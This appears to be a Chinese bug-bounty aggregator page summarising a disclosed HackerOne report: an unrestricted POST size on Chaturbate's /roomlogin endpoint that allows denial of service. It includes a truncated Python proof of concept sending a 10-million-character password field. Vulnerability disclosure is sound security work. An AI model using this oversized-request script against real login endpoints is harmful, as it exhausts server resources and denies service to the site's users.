POJIA破甲
地图 / Unrestricted POST request size on roomlogin endpoint

Unrestricted POST request size on roomlogin endpoint

拒绝服务 / 资源消耗失控 / #418254

厂商
Chaturbate
严重程度
低危
赏金
$200
弱点
资源消耗失控
研究员
@lucach
披露日期
2018-10-07
资产
chaturbate.com
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1526 字符中的一小部分)
POST requests to endpoint `/roomlogin/<user>` are not limited in size. While the main website login endpoint correctly limits the size of request, this endpoint does not. This can be a mean to perform a DOS attack.
原文中的代码
import requests
url = "https://it.chaturbate.com/roomlogin/█████/"
csrf = "███████"

password_size = 10 * 1000 * 1000
payload = {'password': 'a' * password_size, 'next': '/████/', 'csrfmiddlewaretoken' : csrf}

s = requests.Session()
s.headers.update({'referer': url})
s.cookies.set("csrftoken", …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Chaturbate 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @lucach · 版权归作者与 Chaturbate 所有

同类报告

DoS on PayPal via web cache poisoningPayPal · 2019-10-23 · $9,700profile-picture name parameter with large value lead to DoS for other users and programs on the platformHackerOne · 2020-03-25Denial of service to WP-JSON API by cache poisoning the CORS allow origin headerAutomattic · 2020-04-16[Urgent] Invalidating OAuth2 Bearer token makes TweetDeck unavailableX / xAI · 2019-04-25Oracle Webcenter Sites administrative and hi-privilege access available directly from the internet (/cs/Satellite)LocalTapiola · — · $18,000Denial of service via cache poisoningHackerOne · 2018-12-22 · $2,500